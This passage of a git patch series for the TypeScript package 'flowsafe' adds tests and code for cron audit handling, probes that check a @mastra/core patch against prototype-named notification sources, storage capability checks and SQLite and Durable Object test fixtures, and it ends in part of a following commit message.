MaintenanceStorageTransaction, MaintenanceStubLike, diff --git a/packages/flowsafe/src/schedules/tick.test.ts b/packages/flowsafe/src/schedules/tick.test.ts index f165f2fa..e71a082c 100644 --- a/packages/flowsafe/src/schedules/tick.test.ts +++ b/packages/flowsafe/src/schedules/tick.test.ts @@ -684,6 +684,47 @@ describe('createScheduleTick', () => { ); }); + it('audits an unadvanceable cron, writes no trigger, and leaves the row due', async () => { + // #given a stored row whose cron is syntactically legal — so a facade that + // validates at create can have accepted it — but has no future occurrence, + // which is what computeNextFireAt throws on + const store = new FakeStore(); + store.seed( + workflowSchedule({ id: 'schedule_corrupt', cron: '0 0 30 2 *' }), + ); + const start = vi.fn(); + const events: ScheduleTickAuditEvent[] = []; + const tick = createScheduleTick({ + store, + start, + audit: (event) => { + events.push(event); + }, + now: () => NOW, + }); + + // #when + const first = await tick(); + + // #then the pass audits the failure and dispatches nothing; nextFireAt is + // untouched, so no trigger identifies a claim + expect(first).toMatchObject({ due: 1, failed: 1, fired: 0, lost: 0 }); + expect(start).not.toHaveBeenCalled(); + expect(store.triggers).toEqual([]); + expect(store.schedules.get('schedule_corrupt')?.nextFireAt).toBe( + NOW - 1000, + ); + expect(events).toEqual([ + expect.objectContaining({ outcome: 'failed', reason: 'invalid-cron' }), + ]); + + // #and the row is still due: it is selected again and holds a slot of the + // bounded page until an operator repairs or removes it + expect(await tick()).toMatchObject({ due: 1, failed: 1 }); + expect(store.triggers).toEqual([]); + expect(events).toHaveLength(2); + }); + it('rejects invalid limits synchronously and treats zero as a no-op', async () => { const store = new FakeStore(); store.seed(workflowSchedule()); diff --git a/packages/flowsafe/src/schedules/tick.ts b/packages/flowsafe/src/schedules/tick.ts index f0a56e3b..36e13b02 100644 --- a/packages/flowsafe/src/schedules/tick.ts +++ b/packages/flowsafe/src/schedules/tick.ts @@ -954,6 +954,10 @@ export function createScheduleTick( // NOT CAS-claim it (leaving nextFireAt would hot-loop, but a permanently // corrupt row is an ops data-integrity issue, not a hot-loop the tick should // mask by advancing to an arbitrary time); audit the failure and move on. + // The row therefore stays due and every later pass selects it again, holding + // a slot of the bounded page until an operator repairs or removes it. The + // audit event is the record this branch writes: the trigger receipt belongs + // to the CAS claim below, which the branch returns before reaching. let newNextFireAt: number; try { newNextFireAt = computeNextFireAt(schedule.cron, { diff --git a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts index 7ec5fd51..2ad72e65 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts @@ -4,6 +4,10 @@ import type { Agent } from '@mastra/core/agent'; import type { + NotificationDeliveryDecision, + NotificationDeliveryPolicyConfig, + NotificationDeliveryPolicyDecision, + NotificationDeliveryPolicyInput, NotificationRecord, NotificationsStorage, } from '@mastra/core/notifications'; @@ -11,31 +15,86 @@ import { describe, expect, it, vi } from 'vitest'; import type { ThreadScope } from '../do-runner/index.js'; import { + assertNotificationDeliveryPolicyPatched, createNotificationDispatchTick, type NotificationDispatchTickOptions, } from './notification-dispatch.js'; import { createThreadSignalRoutes } from './thread-do-routes.js'; -vi.mock('@mastra/core/notifications', async (importOriginal) => { - const actual = - await importOriginal(); - return { - ...actual, - // 1.53.0's accumulator is an ordinary object literal, so a source named - // after an Object.prototype member resolves the inherited member instead of - // its own count. - summarizeNotifications: (records: NotificationRecord[]) => { - const summary = actual.summarizeNotifications(records); - const bySource: Record = {}; - for (const notification of records) { - if (notification.status !== 'pending') continue; - bySource[notification.source] = - (bySource[notification.source] ?? 0) + 1; - } - return { ...summary, bySource }; +// The module shape both mock registrations build: `summarizeNotifications` +// unpatched, or patched for the delivery-policy case, which reaches the +// asynchronous probe only when the synchronous one passes. +const unpatchedNotifications = vi.hoisted( + () => + ( + actual: typeof import('@mastra/core/notifications'), + patchedAccumulator: boolean, + ) => { + const normalize = ( + decision: NotificationDeliveryPolicyDecision, + ): NotificationDeliveryDecision => + typeof decision === 'string' ? { action: decision } : decision; + return { + ...actual, + // 1.53.0's accumulator is an ordinary object literal, so a source named + // after an Object.prototype member resolves the inherited member instead + // of its own count. The patched shape is built here rather than read + // from the installed core, so both shapes hold whichever core the + // workspace installs. + summarizeNotifications: (records: NotificationRecord[]) => { + const summary = actual.summarizeNotifications(records); + const bySource: Record = patchedAccumulator + ? Object.create(null) + : {}; + for (const notification of records) { + if (notification.status !== 'pending') continue; + bySource[notification.source] = + (bySource[notification.source] ?? 0) + 1; + } + return { ...summary, bySource }; + }, + // 1.53.0's source lookup, reproduced from the shipped patch's `-` lines: + // the bare index read resolves an Object.prototype member for a source + // named after one, and normalizeDecision hands that member back as the + // decision, which therefore carries no action. + resolveNotificationDeliveryDecision: async ({ + config, + ...input + }: NotificationDeliveryPolicyInput & { + config?: NotificationDeliveryPolicyConfig; + }): Promise => { + const custom = await config?.decide?.(input); + if (custom) return normalize(custom); + const sourceDecision = config?.sources?.[input.record.source]; + if (sourceDecision) return normalize(sourceDecision); + const priorityDecision = config?.priorities?.[input.record.priority]; + if (priorityDecision) return normalize(priorityDecision); + if (config?.default) return normalize(config.default); + return actual.defaultNotificationDeliveryDecision(input); + }, + }; }, - }; -}); +); + +vi.mock('@mastra/core/notifications', async (importOriginal) => + unpatchedNotifications( + await importOriginal(), + false, + ), +); + +// Vitest caches a factory's result per registration, so a case that needs the +// other accumulator registers its own factory rather than resetting modules +// around a switch the cached result would keep ignoring. +const mockNotifications = (patchedAccumulator: boolean): void => { + vi.doMock('@mastra/core/notifications', async (importOriginal) => + unpatchedNotifications( + await importOriginal(), + patchedAccumulator, + ), + ); + vi.resetModules(); +}; const PATCH_MESSAGE = /Apply the flowsafe patch to @mastra\/core/; @@ -43,7 +102,14 @@ function tickOptions( overrides: Record = {}, ): NotificationDispatchTickOptions { return { - storage: {}, + // The tick captures the conditional-delivery capability ahead of the patch + // probe, so storage lacking it refuses for the other reason. + storage: { + getNotification: async () => null, + updateNotificationDeliveryIfUnchanged: async () => ({ + outcome: 'unchanged', + }), + }, topology: { send: async () => new Response(null, { status: 404 }) }, resolveContext: () => ({}), executionFence: 'none', @@ -170,4 +236,54 @@ describe('notification dispatch against an unpatched @mastra/core', () => { expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true); expect(sendNotificationSignal).not.toHaveBeenCalled(); }); + + it('refuses the delivery policy probe, naming the patch', async () => { + await expect(assertNotificationDeliveryPolicyPatched()).rejects.toThrow( + PATCH_MESSAGE, + ); + }); +}); + +describe('notification ingestion against a core patched for summaries alone', () => { + it("refuses without reaching core's sender", async () => { + const sendNotificationSignal = vi.fn(); + mockNotifications(true); + try { + // Both probes memoize per module instance, and the instance the cases + // above hold has recorded the summary half as unpatched, so this case + // reads the delivery half through a module graph of its own. + const { assertNotificationSourceKeysPatched } = await import( + './notification-dispatch.js' + ); + const { createThreadSignalRoutes } = await import( + './thread-do-routes.js' + ); + expect(() => assertNotificationSourceKeysPatched()).not.toThrow(); + + const routes = createThreadSignalRoutes({ + resolveAgent: () => + ({ id: 'agent', sendNotificationSignal }) as unknown as Agent, + resolveResourceId: () => 'acme_res', + }); + const { response, logged } = await withCapturedErrors(() => + routes( + post('/signal/notification', { + source: 'constructor', + kind: 'changed', + summary: 's', + }), + scope(), + ), + ); + + // The summary half passing is what leaves the source delivery policy + // lookup as the only subject this refusal can belong to. + expect(response?.status).toBe(502); + expect(await response?.json()).toEqual({ error: 'internal error' }); + expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true); + expect(sendNotificationSignal).not.toHaveBeenCalled(); + } finally { + mockNotifications(false); + } + }); }); diff --git a/packages/flowsafe/src/signals/notification-dispatch.test.ts b/packages/flowsafe/src/signals/notification-dispatch.test.ts index 29a7080d..71d78c4d 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.test.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.test.ts @@ -1116,21 +1116,74 @@ describe('bounded notification dispatch tick', () => { ); }); - it('returns the zero-limit no-op before reading dependency references', async () => { + it('captures the delivery capability before the zero-limit no-op, leaving the other dependencies unread', async () => { + const storage = notificationStorage(); + let storageReads = 0; const options = { limit: 0, get storage() { - throw new Error('dependency accessed'); + storageReads += 1; + return storage; + }, + get topology() { + throw new Error('topology accessed'); + }, + get resolveContext() { + throw new Error('context accessed'); + }, + get now() { + throw new Error('clock accessed'); }, get executionFence() { throw new Error('fence accessed'); }, } as unknown as NotificationDispatchTickOptions; - expect(await createNotificationDispatchTickImpl(options)()).toEqual({ - due: 0, - delivered: 0, - failed: 0, + const list = vi.spyOn(storage, 'listDueNotifications'); + + const tick = createNotificationDispatchTickImpl(options); + expect(storageReads).toBe(1); + + expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 }); + expect(storageReads).toBe(1); + expect(list).not.toHaveBeenCalled(); + }); + + it('refuses a zero-limit tick on storage without conditional delivery', () => { + const storage = new InMemoryNotificationsStorage(); + const read = vi.spyOn(storage, 'listDueNotifications'); + const build = () => + createNotificationDispatchTick({ + storage: storage as unknown as NotificationDeliveryStorage, + topology: { send: vi.fn() } as unknown as ThreadTopology, + resolveContext: actorContext, + limit: 0, + }); + + expect(build).toThrow(TypeError); + expect(build).toThrow( + 'notification dispatch requires conditional delivery storage', + ); + expect(read).not.toHaveBeenCalled(); + }); + + it('resolves the zero-limit no-op with the captured capability unused', async () => { + const storage = notificationStorage(); + const list = vi.spyOn(storage, 'listDueNotifications'); + const get = vi.spyOn(storage, 'getNotification'); + const update = vi.spyOn(storage, 'updateNotificationDeliveryIfUnchanged'); + const send = vi.fn(); + const tick = createNotificationDispatchTick({ + storage, + topology: { send } as unknown as ThreadTopology, + resolveContext: actorContext, + limit: 0, }); + + expect(await tick()).toEqual({ due: 0, delivered: 0, failed: 0 }); + expect(list).not.toHaveBeenCalled(); + expect(get).not.toHaveBeenCalled(); + expect(update).not.toHaveBeenCalled(); + expect(send).not.toHaveBeenCalled(); }); it('refuses ordinary Core storage before reading or sending', () => { diff --git a/packages/flowsafe/src/signals/notification-dispatch.ts b/packages/flowsafe/src/signals/notification-dispatch.ts index 1a07ccea..0ad35cb5 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.ts @@ -3,6 +3,7 @@ import { type NotificationRecord, type NotificationsStorage, + resolveNotificationDeliveryDecision, summarizeNotifications, } from '@mastra/core/notifications'; @@ -482,6 +483,33 @@ export function assertNotificationSourceKeysPatched(): void { } } +let deliveryPolicyPatched: Promise | undefined; + +/** + * The second subject of the @mastra/core patch: the source-policy lookup in + * resolveNotificationDeliveryDecision guards its own keys, so a source named + * after an Object.prototype member resolves the configured default instead + * of the inherited member. The lookup is asynchronous, so this probe is the + * async sibling of assertNotificationSourceKeysPatched and is consulted at + * the async handlers that reach the sender. + */ +export async function assertNotificationDeliveryPolicyPatched(): Promise { + deliveryPolicyPatched ??= resolveNotificationDeliveryDecision({ + config: { sources: {}, default: 'discard' }, + record: SOURCE_KEY_PROBE, + threadState: 'idle', + now: new Date(0), + }).then( + (decision) => decision.action === 'discard', + () => false, + ); + if (!(await deliveryPolicyPatched)) { + throw new TypeError( + 'notification ingestion requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + ); + } +} + function errorMessage(error: unknown): string { try { return String(error instanceof Error ? error.message : error); @@ -697,16 +725,11 @@ export function createNotificationDispatchTick( options.maxDeliveryAttempts ?? DEFAULT_MAX_NOTIFICATION_DELIVERY_ATTEMPTS, 'notification maximum delivery attempts', ); + const { storage } = options; + const deliveryStorage = captureNotificationDeliveryStorage(storage); if (limit === 0) return async () => ({ due: 0, delivered: 0, failed: 0 }); assertNotificationSourceKeysPatched(); - const { - storage, - topology, - resolveContext, - now: clock, - executionFence, - } = options; - const deliveryStorage = captureNotificationDeliveryStorage(storage); + const { topology, resolveContext, now: clock, executionFence } = options; return async () => { // The fence, before the due read and before any delivery. This runs on a // maintenance alarm, so a fence that cannot be READ degrades closed by diff --git a/packages/flowsafe/src/signals/notification-source-keys.test.ts b/packages/flowsafe/src/signals/notification-source-keys.test.ts index f17ab904..167342d4 100644 --- a/packages/flowsafe/src/signals/notification-source-keys.test.ts +++ b/packages/flowsafe/src/signals/notification-source-keys.test.ts @@ -107,6 +107,19 @@ it.each( ).toBe('number'); }); +it.each( + modules, +)('reports the @mastra/core delivery policy patch applied (%s)', async (_label, core) => { + const decision = await core.resolveNotificationDeliveryDecision({ + config: { sources: {}, default: 'discard' }, + record: PATCH_PROBE, + threadState: 'idle', + now: new Date(0), + }); + + expect(decision.action).toBe('discard'); +}); + const CREATED_AT = new Date('2026-01-01T00:00:00.000Z'); function record( diff --git a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts index 8ceb6da4..cb208972 100644 --- a/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts +++ b/packages/flowsafe/src/signals/signal-ingestion.integration.test.ts @@ -70,6 +70,9 @@ function createThreadTopology( return createThreadTopologyWithSecret(namespace, DEPLOYMENT_IDENTITY_SECRET); } +/** One request and the response the thread DO returned for it. */ +type ThreadExchange = { request: Request; response?: Response }; + interface TestEnv { agent: Agent; resolveNotificationsStorage?: () => D1NotificationsStorage; @@ -78,12 +81,14 @@ interface TestEnv { contentPolicy?: SignalContentPolicy; ownership?: ResourceOwnershipStore; bindingHost?: ThreadAgentHost; - exchanges?: Array<{ request: Request; response?: Response }>; + exchanges?: ThreadExchange[]; } // A minimal host thread DO: build() its init() wiring, route() the PRODUCTION -// signal routes over the env's reserve agent + run cap. The base class refuses -// a request without the topology-stamped execution principal before route(). +// signal routes. Two gates stand in front of them — the base class refuses a +// request without the topology-stamped execution principal before route(), and +// route() refuses a thread the env's ownership store assigns to another +// principal. class TestThread extends ThreadDurableObject { readonly #threadName: string; @@ -143,7 +148,7 @@ class TestThread extends ThreadDurableObject { // exactly what the base class uses as the authoritative thread address. function threadNamespace( env: TestEnv, - afterResponse?: (response: Response) => Promise, + afterResponse?: (exchange: ThreadExchange) => Promise, ): ThreadNamespaceLike { const instances = new Map(); return { @@ -166,13 +171,14 @@ function threadNamespace( ) => { const request = typeof input === 'string' ? new Request(input, reqInit) : input; - const exchange: { request: Request; response?: Response } = { - request, - }; + // The recorded exchange is where a response is observed: an observer + // reads it from the record, so it cannot see a call whose response + // the record is still missing. + const exchange: ThreadExchange = { request }; env.exchanges?.push(exchange); const response = await instance.fetch(request); exchange.response = response; - await afterResponse?.(response); + await afterResponse?.(exchange); return response; }, }; @@ -206,8 +212,9 @@ function actorContext(): ActorContext { }; } -// A runtime-driven reserve agent (no LLM): records the ifIdle target sendMessage -// received. The brand is what lets a wake pass the thread-route gate. +// A runtime-driven reserve agent (no LLM): both writers, sendSignal and +// sendMessage, record the ifIdle target they received into one list. The brand +// is what lets a wake pass the thread-route gate. function reserveAgent(accepted?: Promise) { const targets: Array<{ ifIdle?: unknown }> = []; const sendSignal = vi.fn( @@ -274,6 +281,41 @@ describe('signal ingestion — full chain (router → topology → thread DO → expect(targets).toHaveLength(0); }); + it('records the thread response before an observer runs', async () => { + // #given an observer of the namespace's exchange record + const { agent } = reserveAgent(); + const exchanges: NonNullable = []; + const observed: Array = []; + const topology = createThreadTopology( + threadNamespace( + { + agent, + consultRunCap: async () => true, + startIdleRun: async ({ runId }) => ({ runId }), + exchanges, + }, + async (exchange) => { + observed.push(exchange.response); + }, + ), + ); + const router = createSignalRouter({ + resolve: async () => actorContext(), + topology, + }); + + // #when + const res = await router(wake(THREAD_ID)); + + // #then the observer read the response off the record, so the record + // carried it already + expect(res?.status).toBe(200); + const recorded = exchanges[0]?.response; + assert(recorded); + expect(observed).toHaveLength(1); + expect(observed[0]).toBe(recorded); + }); + it('degrades the wake to persist when the deployment is over its run cap', async () => { // #given — the cap refuses const { agent, targets } = reserveAgent(); @@ -730,7 +772,8 @@ describe('notification dispatch — lost response after the thread DO handler', let durableReceipt: NotificationRecord | null = null; let durableRaw: unknown; let routeResult: unknown; - const responseReceived = vi.fn(async (response: Response) => { + const responseReceived = vi.fn(async ({ response }: ThreadExchange) => { + assert(response); expect(response.status).toBe(200); routeResult = await response.clone().json(); durableReceipt = await storage.getNotification(lookup); @@ -895,7 +938,8 @@ describe('notification dispatch — lost response after the thread DO handler', ids.push(created.id); } const durableReceipts: Array | null> = []; - const responseReceived = vi.fn(async (response: Response) => { + const responseReceived = vi.fn(async ({ response }: ThreadExchange) => { + assert(response); expect(response.status).toBe(200); for (const id of ids) { durableReceipts.push( diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts index c640b185..38ac9e6d 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.ts @@ -79,6 +79,7 @@ import { } from '../schedules/schedules-d1.js'; import type { AgentScheduleTarget } from '../schedules/tick.js'; import { + assertNotificationDeliveryPolicyPatched, assertNotificationSourceKeysPatched, captureNotificationDeliverySelection, captureNotificationDeliveryStorage, @@ -1035,6 +1036,7 @@ async function handleNotificationDispatch(options: { } assertNotificationSourceKeysPatched(); + await assertNotificationDeliveryPolicyPatched(); const deliveryStorage = captureNotificationDeliveryStorage(options.storage); const selections: ReturnType[] = []; @@ -2626,8 +2628,11 @@ async function handleNotification( // refusal sits above the branches rather than beside a single reach. It // refuses the record-only branch as well, which a deployment that ingests // here and delegates dispatch elsewhere pays. The route's catch answers 502 - // with the message on the server log. + // with the message on the server log. Each subject has its own probe: the + // synchronous call covers summarizeNotifications, and the awaited one covers + // the source delivery policy lookup, which resolves asynchronously. assertNotificationSourceKeysPatched(); + await assertNotificationDeliveryPolicyPatched(); // This gate is AUTHORITATIVE, not a preview: core can send an individual or // summary signal before the record reaches the dispatcher's second gate. // Storage owns the id, timestamps, and coalescing, so inspect a prospective diff --git a/packages/flowsafe/test-support/d1-type-compatibility.ts b/packages/flowsafe/test-support/d1-type-compatibility.ts index f79dbb3b..1aab2105 100644 --- a/packages/flowsafe/test-support/d1-type-compatibility.ts +++ b/packages/flowsafe/test-support/d1-type-compatibility.ts @@ -11,8 +11,9 @@ import type { D1Database } from '@cloudflare/workers-types'; import type { InitialAdmissionDatabase, SnapshotDatabase, + SnapshotStatement, } from '../src/do-runner/index.js'; -import type { SignalDatabase } from '../src/signals/index.js'; +import type { SignalDatabase, SignalStatement } from '../src/signals/index.js'; type AssertTrue = T; type _D1SatisfiesSignalDatabase = AssertTrue< @@ -24,3 +25,30 @@ type _D1SatisfiesSnapshotDatabase = AssertTrue< type _D1SatisfiesInitialAdmissionDatabase = AssertTrue< D1Database extends InitialAdmissionDatabase ? true : false >; + +// The assertions above hold one direction of the seam: a real D1Database +// satisfies it. These hold the other direction. A batch element carries +// `results` — the requirement the `batch` docstrings in signals/d1-shared.ts +// and do-runner/workflow-snapshot-row.ts place on a hand-written adapter — and +// an element widened back to `unknown` admits an adapter that resolves write +// metadata alone, while the assertions above still pass. +type AssertFalse = T; +/** D1 write metadata alone, without the rows a `D1Result` carries. */ +type MetaOnlyBatchResult = { meta?: { changes?: number } }; +interface MetaOnlySignalAdapter { + prepare(query: string): SignalStatement; + batch(statements: SignalStatement[]): Promise; +} +interface MetaOnlySnapshotAdapter { + prepare(query: string): SnapshotStatement; + batch(statements: SnapshotStatement[]): Promise; +} +type _MetaOnlyAdapterFailsSignalDatabase = AssertFalse< + MetaOnlySignalAdapter extends SignalDatabase ? true : false +>; +type _MetaOnlyAdapterFailsSnapshotDatabase = AssertFalse< + MetaOnlySnapshotAdapter extends SnapshotDatabase ? true : false +>; +type _MetaOnlyAdapterFailsInitialAdmissionDatabase = AssertFalse< + MetaOnlySnapshotAdapter extends InitialAdmissionDatabase ? true : false +>; diff --git a/packages/flowsafe/test-support/durable-key-value-storage.ts b/packages/flowsafe/test-support/durable-key-value-storage.ts new file mode 100644 index 00000000..30170485 --- /dev/null +++ b/packages/flowsafe/test-support/durable-key-value-storage.ts @@ -0,0 +1,67 @@ +// SPDX-License-Identifier: Apache-2.0 +// The in-memory DurableKeyValueStorage every Durable Object suite drives. +// +// Durable Object storage serializes on write and hands back a fresh object on +// read, so this fixture clones in both directions. One that stored and returned +// live references passes while the code under test mutates a value it has +// already written, and workerd carries no such mutation to the next read. +// +// `events` records each call in order and `alarms` each armed time, so the +// order of the run-owner journal protocol — arm the wake, then write the +// journal — is assertable without a second stub. A caller supplies its own +// `events` array to interleave its own markers with the storage calls in a +// single ordering. + +import type { DurableObjectState } from '@cloudflare/workers-types'; + +import type { DurableKeyValueStorage } from '../src/do-runner/cf-types.js'; + +export interface DurableKeyValueStorageFixture { + /** The storage a Durable Object host reads, writes and arms alarms through. */ + storage: DurableKeyValueStorage; + /** A DurableObjectState carrying that storage and no `id`. */ + state: DurableObjectState; + /** The stored clones, for seeding a record or reading one back. */ + values: Map; + /** Each armed alarm time, in call order; `deleteAlarm` leaves them recorded. */ + alarms: number[]; + /** `get:`, `put:`, `delete:`, `setAlarm`, `deleteAlarm`. */ + events: string[]; +} + +export function durableKeyValueStorageFixture( + events: string[] = [], +): DurableKeyValueStorageFixture { + const values = new Map(); + const alarms: number[] = []; + const storage: DurableKeyValueStorage = { + async get(key: string): Promise { + events.push(`get:${key}`); + return structuredClone(values.get(key)) as T | undefined; + }, + async put(key: string, value: T): Promise { + events.push(`put:${key}`); + values.set(key, structuredClone(value)); + }, + async delete(key: string): Promise { + events.push(`delete:${key}`); + return values.delete(key); + }, + async setAlarm(scheduledTime: number | Date): Promise { + events.push('setAlarm'); + alarms.push( + scheduledTime instanceof Date ? scheduledTime.getTime() : scheduledTime, + ); + }, + async deleteAlarm(): Promise { + events.push('deleteAlarm'); + }, + }; + return { + storage, + state: { storage } as unknown as DurableObjectState, + values, + alarms, + events, + }; +} diff --git a/packages/flowsafe/test-support/sqlite.ts b/packages/flowsafe/test-support/sqlite.ts index 5c8aa58f..02c53165 100644 --- a/packages/flowsafe/test-support/sqlite.ts +++ b/packages/flowsafe/test-support/sqlite.ts @@ -32,13 +32,43 @@ export function openSqlite(): SqliteDatabase { return new mod.DatabaseSync(':memory:'); } +/** The rows and write metadata one statement resolves, in D1's envelope. */ +export interface SqliteUnitResult { + success: boolean; + results: T[]; + meta: { changes?: number }; +} + +/** + * The prepared statement the facade hands a caller. Method syntax and the row + * type parameter are the shape the structural D1 subsets of this package + * declare (src/signals/d1-shared.ts, src/do-runner/workflow-snapshot-row.ts); + * src/do-runner/sqlite-fixture.test.ts pins the facade against them. + */ +export interface SqliteUnitStatement { + bind(...values: unknown[]): SqliteUnitStatement; + first(column?: string): Promise; + run(): Promise>; + all(): Promise>; +} + +/** The database surface a SQL unit test drives. */ +export interface SqliteUnitDatabase { + prepare(sql: string): SqliteUnitStatement; + batch(statements: SqliteUnitStatement[]): Promise; +} + /** A narrow prepared-statement facade for SQL unit tests only. */ -export function sqliteUnitDatabase(db: SqliteDatabase): unknown { +export function sqliteUnitDatabase(db: SqliteDatabase): SqliteUnitDatabase { const runSync = Symbol('runSync'); + // The synchronous seam `batch` runs a statement of this fixture's through. + // It stays off SqliteUnitStatement, so a statement built elsewhere still + // satisfies the batch parameter. + type SyncStatement = { [runSync]?: () => SqliteUnitResult }; - function statement(sql: string, params: unknown[]): Record { - const execute = () => { - const results = db.prepare(sql).all(...params); + function statement(sql: string, params: unknown[]): SqliteUnitStatement { + const execute = (): SqliteUnitResult => { + const results = db.prepare(sql).all(...params) as T[]; const outcome = db.prepare('SELECT changes() AS count').get() as { count: number | bigint; }; @@ -48,39 +78,36 @@ export function sqliteUnitDatabase(db: SqliteDatabase): unknown { meta: { changes: Number(outcome.count) }, }; }; - return { + // Bound before it is returned: checked as a fresh literal against + // SqliteUnitStatement, the seam key below reads as an unknown property. + const prepared = { bind: (...values: unknown[]) => statement(sql, values), - first: async (column?: string) => { + first: async (column?: string): Promise => { const row = db.prepare(sql).get(...params) as | Record | undefined; if (row === undefined) return null; - return column !== undefined ? (row[column] ?? null) : row; + return (column !== undefined ? (row[column] ?? null) : row) as T | null; }, - run: async () => execute(), + run: async (): Promise> => execute(), [runSync]: execute, - all: async () => ({ + all: async (): Promise> => ({ success: true, - results: db.prepare(sql).all(...params), + results: db.prepare(sql).all(...params) as T[], meta: {}, }), }; + return prepared; } return { prepare: (sql: string) => statement(sql, []), - batch: async ( - statements: Array<{ - run: () => Promise; - [runSync]?: () => unknown; - }>, - ) => { + batch: async (statements: SqliteUnitStatement[]) => { db.exec('BEGIN IMMEDIATE'); try { - const results = []; + const results: SqliteUnitResult[] = []; for (const prepared of statements) { - results.push( - prepared[runSync] ? prepared[runSync]() : await prepared.run(), - ); + const sync = (prepared as SyncStatement)[runSync]; + results.push(sync ? sync() : await prepared.run()); } db.exec('COMMIT'); return results; diff --git a/packages/flowsafe/tsconfig.test.json b/packages/flowsafe/tsconfig.test.json index 6f619a3c..a01f2bde 100644 --- a/packages/flowsafe/tsconfig.test.json +++ b/packages/flowsafe/tsconfig.test.json @@ -21,6 +21,10 @@ "@proofoftech/flowsafe/agent-host": ["./src/agent-host/index.ts"], "@proofoftech/flowsafe/audit-export": ["./src/audit-export/index.ts"], "@proofoftech/flowsafe/do-runner": ["./src/do-runner/index.ts"], + "@proofoftech/flowsafe/do-runner/constants": [ + "./src/do-runner/constants.ts" + ], + "@proofoftech/flowsafe/do-runner/testing": ["./src/do-runner/testing.ts"], "@proofoftech/flowsafe/host-kit": ["./src/host-kit/index.ts"] } }, diff --git a/packages/flowsafe/vitest.config.ts b/packages/flowsafe/vitest.config.ts index 02029e12..69773c34 100644 --- a/packages/flowsafe/vitest.config.ts +++ b/packages/flowsafe/vitest.config.ts @@ -52,10 +52,17 @@ export default defineConfig({ replacement: new URL(`./src/${subpath}/index.ts`, import.meta.url) .pathname, })), + // The two deadline subpaths are single modules rather than directory + // barrels, so they carry their own aliases instead of joining the list + // above, whose replacement appends `/index.ts`. tsconfig.test.json + // mirrors them with `paths`. + ...['do-runner/constants', 'do-runner/testing'].map((subpath) => ({ + find: new RegExp(`^@proofoftech/flowsafe/${subpath}$`), + replacement: new URL(`./src/${subpath}.ts`, import.meta.url).pathname, + })), ], }, test: { exclude: [...configDefaults.exclude, '**/*.workerd.test.ts'], - passWithNoTests: true, }, }); From c6e3c9f0c4ae444cf501917f3e850d49dbe97c98 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 17 Sep 2026 03:26:59 +0400 Subject: [PATCH 165/169] fix(fleet-control): refuse a retired row in another deployment mode A retired terminal record that persisted a deployment mode refuses a specification reserving another one, before the first `lease.put`, with a message naming both modes and directing to `forceDecommissionDeployment()`. The residue refusal names each retained bucket and the binding that reserved it; a row whose backend-switch record sits in a subphase other than `decommissioned` refuses as that record rather than by teardown evidence; the reserved-name refusal names the database the retired record held. `types.ts` holds `SETTLED_BACKEND_SWITCH_SUBPHASES`, read by `backend-switch.ts`, `cleanup-advance.ts` and `state-store.ts`, and `RETIRED_BACKEND_SWITCH_SUBPHASE`, read by `decommission-intent.ts` and `provision.ts`. `fleet-operation-state.ts` exports the two fixed store messages, `FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE` and `fleetOperationWatermarkRunMessage`, and `fleetOperationPageLimit`, which serves a `limit` above the documented 1,000-row ceiling at that ceiling and refuses one that is not a safe integer of at least 1. `D1FleetOperationStore.readOperationRowsPage` and the two store doubles take their page size from it, where the D1 store refused an over-large `limit` before. `failOperation` reports an update target missing at its post-batch readback as a conflict. `src/index.ts` is untouched. `refuseRedirectStatus` in `cloudflare-provider-errors.ts` states the rule once, cancels the unconsumed body and throws; the dispatch script listing and the Workers for Platforms maintenance wrapper call it. The egress Worker in `workers/outbound.ts` keeps its own redirect refusal and answers 502. `maintenance-health.ts`, `cloudflare-worker-attachment-scan.ts` and `workers-for-platforms-backend.ts` cancel the body their refusals leave unread. In the direct-credentialed CLI, every line the entry writes passes one guarded writer, and the runtime exports the output policy `directWritesStderr` and `directLineCarries`. `writeEvidence` is an injected seam, and the evidence block is three `try` statements, over the projection, the disk write and the close, so a projection failure and a write failure set their own result. `armGuard()` reads every live credential in the completion callback before the entry writes. The evidence-failed summary carries a withheld artifact's `sentinelClass` or `refusalClass` beside its `keyPath`. A malformed force identity refuses with `observation-mismatch` before settlement, so that path persists and returns that code instead of `journal-failed`. Ingress settles only on `enabled === false && previews_enabled === false`. A listing row whose classifying field is not a string refuses as `provider-unavailable`. A resume that still owes the bucket delete lists the receipts prefix itself. `direct-credentialed-tenant.ts` serves its fence routes from `handleFenceProbe` and `handleFenceMutate`, which emit the responses those routes emitted inline. `probeDirectTenant` reads its answer through `readBoundedDirectResponse` and `decodeDirectJsonObject` in `direct-reference-transport.ts`, issuing the same request and returning the same result. New files: `test/fixtures/direct-cli-child.ts`, `test/fixtures/direct-scenario-harness.ts`, `scripts/direct-credentialed-reference-vocabulary.mjs` with its `.d.mts`, and `.changeset/operation-store-port-requirements.md`. `docs/fleet-control.md` states that `PlainWorkerBackend.promoteWorker` returns once the provider acknowledges the 100 percent deployment and that attestation reads routing state after that; states the terminal-row admission, its mode refusal and its residue refusal; dates the bundle capture to commit `308bd39`, 2026-09-09, and points at the gate that re-measures it; and lists `exitCode` in the evidence description. The redirect changeset states the `x-should-retry` header override, the migration changeset states what a signal the host also wires into its own provider or store does, and `terminal-row-admission.md` states the mode refusal. Co-Authored-By: Claude Fable 5.1 --- ...-control-credentialed-redirect-refusals.md | 2 +- .changeset/migration-completion-and-abort.md | 4 +- 